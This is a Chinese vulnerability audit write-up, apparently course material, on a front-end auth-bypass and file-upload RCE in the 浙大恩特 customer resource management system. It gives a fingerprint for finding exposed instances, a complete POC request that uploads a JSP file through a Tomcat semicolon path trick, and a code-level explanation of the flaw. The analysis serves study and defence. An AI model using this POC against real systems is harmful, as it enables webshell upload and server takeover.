指纹:title="欢迎使用浙大恩特客户资源管理系统"
本文对该系统公开在互联网,但未分析代码细节的漏洞进行审计分析:
前台文件上传RCE
该系统2019版本存在权限绕过加文件上传组合漏洞,可通过上传webshell实现前台RCE。
公开POC:
POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101 Firefox/112.0 uacqAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:
gzip, deflateConnection: closeContent-Type: multipart/form-data;
boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Length: 203
------WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Disposition:
form-data; name="file";filename="as.jsp"Content-Type: image/jpeg
<%out.print("test");%>------WebKitFormBoundarye8FPHsIAq9JN8j2A--
权限绕过部分先看过滤器:
分析web.xml发现purfilter为全局过滤器:
如上,会对/*也就是任意请求进行拦截,跟进源码:
首先出现的就是白名单后缀+白名单接口,在后续校验中也是对非listExpUrl内容的后缀或者接口才会进行权限校验:
而拦截器在进行后缀白名单检测时,获取后缀的方式如下:
通过获取最后一个.的部分作为后缀。
而且该系统是tomcat容器,基于该容器对;的解析特性,不会匹配到;后面的内容,也就是在进行路由匹配时,只会匹配到CustomerAction.entphone,从而使得CustomerAction.entphone;.js?method=loadFile顺利进入过滤器层面的校验,并且此时获取的后缀又是.js,处于白名单后缀,从而实现权限绕过。
接下来分析:上传点代码漏洞原因:
先在xml文件寻找接口对应后端代码,该接口匹配后缀.entphone,对应代码为:enterphone.EntPhoneControl类。
全局搜索EntPhoneControl类:
跟进漏洞类CustomerAction:
跟进method对应loadFile方法:
要想进入文件上传逻辑,会先进行gesum参数的条件判断:
在gesum不为空时才进入上传逻辑,原数据包里面是没有传gesum参数的,在java里面,一般值会设置为NULL,而NULL不等于空,则能够顺利进入if逻辑。
进入if块后,代码会继续执行以下步骤:
创建CustomerBean并设置gesnum(此时gesnum为null)和tenantID。
调用customerBean.checkGesnum()检查客户代码是否存在。
这一步是关键:若checkGesnum()方法在gesnum为null时返回false(即认为"客户代码不存在",符合业务逻辑,因为null通常不是有效的客户代码),则会进入else分支,执行文件上传逻辑。
随后通过如上文件获取文件名,并直接进行文件上传,由于未进行后缀校验,从而可上传jsp文件,造成RCE漏洞。
本地环境漏洞复现:
上传成功,并成功解析:
本课程最终解释权归蚁景网安学院
本页面信息仅供参考,请扫码咨询客服了解本课程最新内容和活动